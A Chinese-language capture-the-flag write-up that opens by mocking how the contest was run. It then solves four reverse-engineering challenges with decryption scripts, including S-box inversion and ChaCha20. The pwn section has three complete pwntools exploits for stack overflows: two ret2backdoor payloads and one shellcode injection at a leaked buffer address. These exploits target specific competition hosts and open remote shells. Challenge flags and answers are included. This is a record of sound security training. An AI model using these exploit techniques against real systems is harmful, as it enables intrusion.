不予置评

比赛办的很好，下回别办了

难度非常低但是超大规模py + 连不上的破烂靶机 + 不明意义的大粪题 + 史一样的奖项规则 + wp的奇妙截图模版

谁懂VERY_SECRET_KEY!，我不懂

Reverse#

Rerere#

sub_140001480是核心加密函数

1
__int64 __fastcall sub_140001480(__int64 a1, int a2)
2
{
3
  __int64 v2; // r8
4

5
  if ( a2 <= 0 )
6
    return 1;
7
  v2 = 0;
8
  while ( byte_140004060[*(_BYTE *)(a1 + v2) ^ byte_140004048[v2 & 7]] == byte_140004020[v2] )
9
  {
10
    if ( ++v2 == a2 )
11
      return 1;
12
  }
13
  return 0;
14
}

一个s-box反查

1
target = bytes([
2
    0xA3, 0x5B, 0x4C, 0x0A, 0x0E, 0x79, 0x42, 0xC5, 0x3B, 0x12,
3
    0x11, 0xEB, 0xDF, 0xE5, 0x84, 0xB6, 0x61, 0xAC, 0x85, 0x83,
4
    0xA9, 0x3A, 0xAD, 0x2E, 0x31, 0xBE, 0x44, 0x41, 0x7C, 0x79,
5
    0x74, 0x93, 0x8A, 0x85, 0x06, 0xA7, 0x61, 0x6C
6
])
7

8
key = bytes([
9
    0xB9, 0xCD, 0xCE, 0x30, 0xB8, 0x61, 0x4E, 0xAA
10
])
11
sbox = bytes([
12
    0xC2, 0x23, 0x97, 0x49, 0x83, 0xF6, 0xD3, 0xA7, 0xEB, 0xBF,
13
    0x78, 0xC3, 0x29, 0x56, 0xD2, 0x1A, 0x13, 0xBC, 0x21, 0x6A,
14
    0x37, 0x8E, 0x5F, 0x0C, 0xB4, 0x46, 0xDE, 0xE4, 0x6C, 0xA2,
15
    0x66, 0x30, 0x0F, 0xA4, 0xBB, 0x8C, 0x09, 0x4B, 0x3D, 0x32,
16
    0x42, 0x55, 0x2D, 0x4F, 0xF9, 0x77, 0x1B, 0x74, 0x1F, 0x71,
17
    0x7B, 0x9D, 0x73, 0xC4, 0xAB, 0xD0, 0xF3, 0xC1, 0x88, 0x07,
18
    0xDC, 0xCE, 0xEF, 0xC0, 0x72, 0x4A, 0x27, 0x81, 0x9B, 0xEE,
19
    0xC7, 0x28, 0x26, 0x5A, 0x94, 0x54, 0x70, 0xD1, 0xE9, 0xC8,
20
    0x98, 0x36, 0x91, 0x41, 0xB8, 0x3A, 0x79, 0x0A, 0x08, 0xE5,
21
    0xAF, 0x80, 0x24, 0xAE, 0x00, 0x19, 0xCC, 0x7A, 0xF7, 0x51,
22
    0x7D, 0x69, 0xEC, 0x03, 0x65, 0x25, 0x1C, 0x01, 0xF5, 0xE6,
23
    0xBD, 0xD9, 0x59, 0xFE, 0x92, 0xB0, 0x10, 0x6F, 0xF0, 0xE3,
24
    0x9F, 0xAD, 0x84, 0xF4, 0xA5, 0x33, 0x35, 0x48, 0x53, 0xB1,
25
    0xE0, 0xD8, 0x05, 0x38, 0x18, 0x68, 0xA9, 0x14, 0xC6, 0x3F,
26
    0x61, 0x8A, 0x31, 0x3B, 0xBA, 0x2B, 0x4E, 0xE2, 0x57, 0x9A,
27
    0xF1, 0xEA, 0x64, 0x7E, 0xA0, 0x93, 0xB6, 0xDA, 0x60, 0x2E,
28
    0x1D, 0x5B, 0x82, 0x34, 0x6D, 0xFC, 0xCF, 0x7F, 0xE7, 0x96,
29
    0x67, 0x43, 0x06, 0x44, 0xC9, 0x4C, 0x40, 0xDB, 0xFD, 0x4D,
30
    0xB5, 0xED, 0x39, 0x2C, 0xB3, 0x17, 0x9E, 0xCD, 0xFA, 0x6B,
31
    0xCA, 0x87, 0x8F, 0x9C, 0x89, 0x0E, 0x63, 0x45, 0x86, 0xAA,
32
    0x5E, 0x95, 0x16, 0xC5, 0xD5, 0x2F, 0xA1, 0xF8, 0x99, 0xFF,
33
    0x3C, 0x0D, 0x3E, 0xD4, 0x04, 0x76, 0xD7, 0x47, 0x20, 0x8D,
34
    0xDF, 0x5C, 0x7C, 0xA3, 0x1E, 0x8B, 0x15, 0xB9, 0xA8, 0xCB,
35
    0x22, 0xA6, 0x52, 0xD6, 0xFB, 0x5D, 0xDD, 0xB2, 0x6E, 0xE8,
36
    0xF2, 0xE1, 0x2A, 0x58, 0x62, 0x12, 0x11, 0x50, 0x75, 0xB7,
37
    0xAC, 0x90, 0x0B, 0x85, 0x02, 0xBE
38
])
39
inv = [0] * 256
40
for i, v in enumerate(sbox):
41
    inv[v] = i
42

43
flag = bytearray()
44

45
for i, c in enumerate(target):
46
    flag.append(inv[c] ^ key[i & 7])
47

48
print(flag.decode())
49
assert bytes(sbox[flag[i] ^ key[i & 7]] for i in range(len(flag))) == target

运行后解出 Flag

1
flag{7fa6888d8465734047572ccf7a140b74}

字节码迷踪#

https://pylingual\.io/

反汇编得到

1
import base64
2

3
def decrypt_flag(encoded_data, key):
4
    decoded = base64.b64decode(encoded_data)
5
    return ''.join(chr(b ^ key) for b in decoded)
6

7
def main():
8
    encoded_flag = 'aWNuaHRra3lgP2ZhaCJ3eTw3In19N2oiPGY9OCJ5dmdjfnxtPzdjY3ly'
9
    xor_key = 15
10

11
    user_input = input('请输入flag: ').strip()
12
    correct_flag = decrypt_flag(encoded_flag, xor_key)
13

14
    if user_input == correct_flag:
15
        print('正确！')
16
    else:
17
        print('错误！')

Exp

1
import base64
2
encoded_flag = 'aWNuaHRra3lgP2ZhaCJ3eTw3In19N2oiPGY9OCJ5dmdjfnxtPzdjY3ly'
3
key = 15
4
flag = ''.join(chr(b ^ key) for b in base64.b64decode(encoded_flag))
5
print(flag)

运行后解出 Flag

1
flag{ddvo0ing-xv38-rr8e-3i27-vyhlqsb08llv}

ChaCha20#

直接改后缀zip解压 so丢进IDA apk丢进JADX

密文d097c3f6d23a8577e1

chacha20参数也是.rodata硬编码

1
key   = 149263a16f2d89cbf0375b1ca94e78d3226017ee9abc4d0853e1762a8dc4903f
2
nonce = 44332211abcdef668899aa55
3
counter = 1

25720附近是chacha20xor主流程

1
int __userpurge sub_25720@<eax>(int a1, int a2, unsigned int i_1)
2
{
3
  int v3; // eax
4
  char v5; // [esp+23h] [ebp-85h]
5
  unsigned int n64; // [esp+24h] [ebp-84h]
6
  int v7; // [esp+2Ch] [ebp-7Ch]
7
  unsigned int j; // [esp+3Ch] [ebp-6Ch]
8
  unsigned int i; // [esp+4Ch] [ebp-5Ch]
9
  int v10; // [esp+50h] [ebp-58h]
10
  _BYTE v11[64]; // [esp+58h] [ebp-50h] BYREF
11
  unsigned int v12; // [esp+98h] [ebp-10h]
12

13
  v12 = __readgsdword(0x14u);
14
  sub_25A70(a1, i_1);
15
  v10 = 1;
16
  for ( i = 0; i < i_1; i += n64 )
17
  {
18
    v7 = sub_27100(&unk_F2CB);
19
    v3 = sub_27110(&unk_F2EB);
20
    sub_26CA0(v7, v10++, v3, v11);
21
    if ( i_1 - i <= 0x40 )
22
      n64 = i_1 - i;
23
    else
24
      n64 = 64;
25
    for ( j = 0; j < n64; ++j )
26
    {
27
      v5 = v11[j] ^ *(_BYTE *)(a2 + j + i);
28
      *(_BYTE *)sub_27120(a1, j + i) = v5;
29
    }
30
  }
31
  return a1;
32
}

chacha20流密码直接反解提取unk_F2CB

1
import struct
2

3
key = bytes.fromhex(
4
    "149263a16f2d89cbf0375b1ca94e78d3"
5
    "226017ee9abc4d0853e1762a8dc4903f"
6
)
7
nonce = bytes.fromhex("44332211abcdef668899aa55")
8
ct = bytes.fromhex("d097c3f6d23a8577e1")
9

10
def rotl32(x, n):
11
    return ((x << n) & 0xffffffff) | (x >> (32 - n))
12

13
def quarter_round(s, a, b, c, d):
14
    s[a] = (s[a] + s[b]) & 0xffffffff
15
    s[d] ^= s[a]
16
    s[d] = rotl32(s[d], 16)
17

18
    s[c] = (s[c] + s[d]) & 0xffffffff
19
    s[b] ^= s[c]
20
    s[b] = rotl32(s[b], 12)
21

22
    s[a] = (s[a] + s[b]) & 0xffffffff
23
    s[d] ^= s[a]
24
    s[d] = rotl32(s[d], 8)
25

26
    s[c] = (s[c] + s[d]) & 0xffffffff
27
    s[b] ^= s[c]
28
    s[b] = rotl32(s[b], 7)
29

30
def chacha20_block(key, counter, nonce):
31
    const = b"expand 32-byte k"
32
    state = list(struct.unpack("<4I", const))
33
    state += list(struct.unpack("<8I", key))
34
    state += [counter]
35
    state += list(struct.unpack("<3I", nonce))
36

37
    working = state[:]
38
    for _ in range(10):
39
        quarter_round(working, 0, 4, 8, 12)
40
        quarter_round(working, 1, 5, 9, 13)
41
        quarter_round(working, 2, 6, 10, 14)
42
        quarter_round(working, 3, 7, 11, 15)
43

44
        quarter_round(working, 0, 5, 10, 15)
45
        quarter_round(working, 1, 6, 11, 12)
46
        quarter_round(working, 2, 7, 8, 13)
47
        quarter_round(working, 3, 4, 9, 14)
48

49
    out = [(working[i] + state[i]) & 0xffffffff for i in range(16)]
50
    return struct.pack("<16I", *out)
51

52
ks = chacha20_block(key, 1, nonce)
53
flag = bytes(c ^ k for c, k in zip(ct, ks))
54
print(flag.decode())

流密码梭哈

1
flag{qjf}

CrackMe_2#

依旧改后缀解压看so层

IDA里面非常明显 flag函数verifyFlag 直接看

1
int __cdecl verifyFlag(int a1, int a2, int a3)
2
{
3
  int v4; // [esp+10h] [ebp-68h]
4
  int i; // [esp+30h] [ebp-48h]
5
  unsigned __int8 v6; // [esp+37h] [ebp-41h]
6
  unsigned __int8 *ptr_1; // [esp+40h] [ebp-38h]
7
  unsigned __int8 *ptr; // [esp+44h] [ebp-34h]
8
  int StringUTFChars; // [esp+4Ch] [ebp-2Ch]
9
  unsigned __int8 v10[12]; // [esp+58h] [ebp-20h] BYREF
10
  size_t size; // [esp+64h] [ebp-14h] BYREF
11
  char v12; // [esp+6Bh] [ebp-Dh] BYREF
12
  unsigned int v13; // [esp+6Ch] [ebp-Ch]
13

14
  v13 = __readgsdword(0x14u);
15
  __android_log_print(4, "51asm", &unk_E08C);
16
  v12 = 0;
17
  StringUTFChars = _JNIEnv::GetStringUTFChars(a1, a3, &v12);
18
  v4 = __strlen_chk(StringUTFChars, -1);
19
  __android_log_print(4, "51asm", &unk_E8D0);
20
  size = 0;
21
  ptr = (unsigned __int8 *)sub_24490(StringUTFChars, v4, &size);
22
  ptr_1 = (unsigned __int8 *)malloc(size);
23
  des_ecb_encrypt(ptr, size, "12345678", ptr_1);
24
  bytesToHex(v10, (int)ptr);
25
  sub_23E10(v10);
26
  __android_log_print(6, "51asm", &unk_D5BF);
27
  v6 = 0;
28
  for ( i = 0; i < 1; ++i )
29
  {
30
    if ( (sub_24560((char *)&unk_58060 + 12 * i, v10) & 1) != 0 )
31
    {
32
      __android_log_print(4, "51asm", &unk_CCD8);
33
      v6 = 1;
34
      break;
35
    }
36
  }
37
  if ( !v6 )
38
    __android_log_print(4, "51asm", &unk_D5E2);
39
  free(ptr);
40
  free(ptr_1);
41
  _JNIEnv::ReleaseStringUTFChars(a1, a3, StringUTFChars);
42
  std::string::~string(v10);
43
  return v6;
44
}

取字符串，补齐到8字节倍数，调用了个des，但是最后比较的还是补齐后原文的hex字符串

1
int sub_23E40()
2
{
3
  std::string::basic_string[abi:v170000]<decltype(nullptr)>(
4
    (int)&unk_58060,
5
    (int)"666c61677b62353237653236323131333131333465633232323531636662636137356538633966356165346634313337313837316664353"
6
         "5393131393237663636613162347d0202");
7
  return __cxa_atexit((void (*)(void *))sub_23F00, 0, &lpdso_handle_);
8
}

直接出来了

直接hex解码就行了

1
b'flag{b527e2621131134ec22251cfbca75e8c9f5ae4f41371871fd55911927f66a1b4}\x02\x02'

直接出了，收

1
flag{b527e2621131134ec22251cfbca75e8c9f5ae4f41371871fd55911927f66a1b4}

PWN#

PWN-Authenticate#

保护全关

IDA里面非常明显一个backdoor

1
int backdoor()
2
{
3
  return system("/bin/sh");
4
}

目标地址就是

1
backdoor = 0x4011f6

漏洞点在login

1
int login()
2
{
3
  _BYTE v1[64]; // [rsp+0h] [rbp-80h] BYREF
4
  char buf[64]; // [rsp+40h] [rbp-40h] BYREF
5

6
  puts("=== Welcome to SecureAuth System ===");
7
  printf("Username: ");
8
  read(0, buf, 0x40u);
9
  printf("Password: ");
10
  gets(v1);
11
  if ( !strcmp(buf, "admin") )
12
    return puts("Access Denied: Admin login is disabled.");
13
  else
14
    return puts("Invalid credentials.");
15
}

gets(v1)即为漏洞点，gets不限制输入长度，所以从v1开始一直向高地址覆盖

栈布局

1
rbp-0x80  v1[64]        // password
2
rbp-0x40  buf[64]       // username
3
rbp        saved rbp
4
rbp+0x8    return address

偏移

1
0x80 + 0x8 = 0x88 = 136

直接打ret2backdoor就完事了

1
ret = 0x40101a
2
backdoor = 0x4011f6
3

4
payload = b"A" * 136
5
payload += p64(ret)
6
payload += p64(backdoor)

exp:

1
#!/usr/bin/env python3
2
from pwn import *
3
context.arch = "amd64"
4
context.log_level = "debug"
5
HOST = "47.99.147.34"
6
PORT = 17564
7
RET = 0x40101A
8
BACKDOOR = 0x4011F6
9
OFFSET = 0x80 + 8
10
def start():
11
    if args.LOCAL:
12
        return process("./vuln")
13
    else:
14
        return remote(HOST, PORT)
15
p = start()
16
payload = b"A" * OFFSET
17
payload += p64(RET)
18
payload += p64(BACKDOOR)
19
p.sendafter(b"Username: ", b"test\n")
20
p.sendafter(b"Password: ", payload + b"\n")
21
p.interactive()

打穿得

1
flag{3f48c7a7f6563f3a043f940f6809d599}

PWN-NoteService#

开NX不开PIE

漏洞函数在vuln

1
int vuln()
2
{
3
  _BYTE buf[64]; // [rsp+0h] [rbp-40h] BYREF
4

5
  puts("=== Note Service ===");
6
  puts("Leave your note:");
7
  read(0, buf, 0x100u);
8
  return puts("Note saved. Thank you!");
9
}

然后依然backdoor

1
int secret_note()
2
{
3
  return system("/bin/sh");
4
}

地址

1
secret_note = 0x401196

打栈溢出

buf只有0x40但是读了0x100

栈布局

1
rbp-0x40  buf[64]
2
rbp       saved rbp
3
rbp+0x8   return address

依然偏移计算

1
0x40 + 0x8 = 0x48 = 72

直接ret2secret_note()梭哈

1
from pwn import *
2
context.arch = "amd64"
3
context.log_level = "debug"
4
host = "120.27.146.76"
5
port = 19574
6
ret = 0x40101a
7
secret_note = 0x401196
8
payload = b"A" * 72
9
payload += p64(ret)
10
payload += p64(secret_note)
11
io = remote(host, port)
12
io.recvuntil(b"Leave your note:")
13
io.send(payload)
14
io.sendline(b"cat flag")
15
io.interactive()

得

1
flag{b8604a81cf1196b752f8704fff71c0f2}

PWN-MessageBoard#

NO PIE，NX关

栈泄露 + shellcode来了

1
int vuln()
2
{
3
  _BYTE buf[128]; // [rsp+0h] [rbp-80h] BYREF
4

5
  puts("=== Message Board ===");
6
  puts("Leave your message below:");
7
  printf("Buffer at: %p\n", buf);
8
  printf("Message: ");
9
  read(0, buf, 0x100u);
10
  return puts("Thank you for your message!");
11
}

buf只有0x80但是读0x100，覆盖返回地址打印buf栈地址

buf栈地址泄露+栈可执行+read栈溢出

所以直接

shellcode 放到 buf 开头

padding 填到返回地址

return address 改成泄露出来的 buf 地址

1
buf = byte ptr -80h
2
rbp + 8
3
0x80 + 0x8 = 0x88 = 136

所以payload

1
shellcode
2
padding 到 136 字节
3
p64(buf_addr)

打ret2buf

结束

1
#!/usr/bin/env python3
2
from pwn import *
3
context.arch = "amd64"
4
context.os = "linux"
5
context.log_level = "info"
6
HOST = "47.99.147.34"
7
PORT = 26052
8
OFFSET = 0x88
9
io = remote(HOST, PORT)
10
io.recvuntil(b"Buffer at: ")
11
buf_addr = int(io.recvline().strip(), 16)
12
log.success(hex(buf_addr))
13
io.recvuntil(b"Message: ")
14
payload = asm(shellcraft.sh()).ljust(OFFSET, b"\x90")
15
payload += p64(buf_addr)
16
io.send(payload)
17
sleep(0.2)
18
io.sendline(b"cat flag")
19
io.interactive()

打穿

flag{38ad58a6ba4b17899788e836368d2ace}